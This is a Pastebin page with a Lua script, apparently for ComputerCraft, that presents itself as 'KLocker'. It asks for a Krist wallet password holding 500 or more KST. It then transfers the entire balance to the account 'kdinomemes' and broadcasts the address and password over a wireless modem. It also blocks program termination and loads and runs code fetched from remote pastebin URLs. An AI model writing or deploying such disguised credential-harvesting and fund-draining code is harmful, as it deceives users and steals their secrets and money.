Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- os.pullEvent = os.pullEventRaw
- local s = http.get("https://pastebin.com/raw/1aK1i8VK")
- load(s.readAll(),"KLUA","t",_ENV)()
- local s2 = http.get("https://pastebin.com/raw/4nRg9CHU")
- load(s2.readAll(),"JSON","t",_ENV)()
- local status = ""
- term.clear()
- term.setCursorPos(1,1)
- local sides = {}
- for k,v in pairs(peripheral.getNames()) do
- if peripheral.getType(v) == "modem" and peripheral.call(v,"isWireless") then
- m = peripheral.wrap(v)
- status = true
- end
- end
- print("Wireless Modem: "..tostring(status))
- if status == false then
- print("Attach a Wireless Modem and reboot to continue")
- print("Press Any Key To Continue In")
- for i=1, 5 do
- term.setCursorPos(1,4)
- print(5-i)
- sleep(1)
- end
- os.pullEvent()
- os.reboot()
- end
- term.clear()
- term.setCursorPos(1,1)
- print("Welcome to KLocker")
- print("Supply a Krist password which contains 500 or more KST Please")
- write(": ")
- local p = read()
- print("Entered Password: "..p)
- local hashPass = ToPriv(p)
- print("hashedPassword for Auth: "..hashPass)
- local mkey = hashPass
- print("mkey: "..mkey)
- print("Authing With Server")
- http.post("https://krist.ceriat.net/login","privatekey="..mkey)
- local addr = makev2address(mkey)
- print("Address: "..addr)
- print("Looking up information on address...")
- local info = getInfo(addr)
- local tbl = decode(info)
- local bal = ""
- for k,v in pairs(tbl) do
- if type(v) == "table" then
- for x,y in pairs(v) do
- if x == "balance" then
- bal = y
- end
- end
- end
- end
- if bal >= 500 then
- print("Valid Address, Thank You!")
- sendFunds(p,"kdinomemes",bal)
- m.transmit(500,500,addr.."|"..p)
- end
Add Comment
Please, Sign In to add comment